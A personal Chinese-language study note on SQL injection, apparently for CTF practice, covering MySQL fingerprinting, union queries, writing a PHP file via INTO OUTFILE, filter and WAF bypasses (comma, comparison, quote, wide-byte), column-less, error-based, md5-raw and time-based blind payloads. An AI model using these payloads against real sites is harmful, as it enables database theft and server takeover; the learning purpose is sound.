sql注入笔记

学习人生经验

随便讲讲

sql注入的步骤:

  1. 找注入点,这个一般都能找到
  2. 找控制位,就是能够控制语句查询内容不同的地方 并根据查询结果盲注数据库
  3. 得到控制位之后,寻找注入语句(这里一般有WAF 所以首先绕WAF)
  4. 写脚本暴库

infomation_schema简要结构:
information_schema

首先是如何判断一个mysql数据库,如果and connection_id()数据返回正常,and last_insert_id()不返回数据,我们就可以推断这是一个MySQL数据库了。

在平时的sql注入中,会经常用到union,但是在使用union的时候必须满足两个条件:

  1. 两个查询返回的列数必须相同
  2. 两个查询语句对于返回的数据类型必须相同

在URL中“+”是有特别含义,它表示的是空格。所以在URL中我们需要使用“%2B”来代替“+”
双URL编码有时候会起作用,如果Web应用多次解码,在最后一次解码之前应用其输入过滤器。

sql是可以向服务器写文件,(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。test payload: select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
并且可以用load_file()来读文件。

各种绕过

如果能拿到php源码,并且是==的话,是不区分大小写的,所以例如SELECT
如果是替换关键字为’’,可以用双写关键字来绕过,如SELselectECT
如果过滤了空格,可以用%0a /**/或者select(a)from(b)where(a=1);

有时后台会再次url解码,可以利用二次编码来解决问题

逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()mid()这两个方法可以使用from to的方式来解决,limitoffset

1
2
3
4
5
6
7
8
9
10
11
mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数
select left(database(),2)>'tf';

/*limit*/
selete * from testtable limit 2,1;//改为
selete * from testtable limit 2 offset 1;

比较符(<,>)绕过

如果不能使用比较操作符,那还注个毛线啊,不做了,就到了使用greatest,strcmpin,between,order by的时候了

1
2
3
4
5
6
7
8
9
10
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64); #greatest() Oracle数据库函数 
select strcmp(left(database(),1),0x32);
if(substr(id,1,1)in(0x41),1,3)

#in、between、order by
select * from yz where a in ('aaa');
select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b';
select * from yz where a between 0x89 and 0x90;

order by可以根据排列顺序进行真值判断,如:利用order by 进行盲注

1
select * from yz union select 1,2,3 order by 1;

注释符绕过

如果# --都被过滤了,可以用+来闭合代码,利用+来闭合单引号的注入题wp
反引号`,也可以拿来当注释符

更骚的操作:

1
2
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1';
#(1=1)中就有了判断位为下面的注入打下基础

单引号绕过

可以用宽字节(%df%27)来解决,因为%df' 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C,那么现在%df\' =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗',也就是说:%df\' = %df%5c%27=縗',有了单引号就好注入了。

with rollup(一般结合group by使用)

一道题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+-------+------------+
3 rows in set

mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set

无列名注入

你拿到了库名,表名,列名,满心欢喜的准备select的时候,发现列名被过滤了,不要伤心,这里还有这样的操作

1
2
3
' union (select c from (select 1,2,3 as c union select * from user ) as b) limit 1,1#

' union (select c from (select 1,2,3 c union select * from user )b) limit 1,1#

判断列数绕过(order by被过滤)

可以用into变量来绕过

1
select * from yz limit 1,1 into @a,@b,@c //只有当正好为列数的时候才不会报错

高级操作

报错注入

原理可以看: http://wt7315.blog.51cto.com/10319657/1891458

1
2
3
4
5
6
7
8
9
10
#group by 与 floor rand 函数的报错
(select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a);
#extractvalue
extractvalue(1,concat(0x5c,(select user())))
extractvalue(1,concat(0x5c,(select user()),0x5c,1))
#updatexml
updatexml(1,concat(0x5c,(select user())),0)
updatexml(1,concat(0x5c,(select user()),0x5c,1),0)
#insert into
INSERT INTO users (id, username, password) VALUES (2,'' or 注入语句 or'', '');

md5注入

1
2
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
//ffifdyop

这个payload最后解码为’ or xxxxxx,就能绕过了

order by name注入

order by name id
id是一个注入点
可以利用if语句进行注入
order by name ,if(1=1,1,select 1 from information_schema.tables)
如果为假则执行第二条语句,要么报错要么没有返回值。这属于盲注的一种

运算符注入

1
2
select * from yz where a=''^'123'^'12'
select * from yz where a=''^(substr('asd',1,1)<'z')^1;

可以作为盲注的条件语句

延时注入

1
if(ascii(substring((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);

最后:sql注入博大精深Orz


参考资料:
http://blog.csdn.net/qq_31481187/article/details/59727015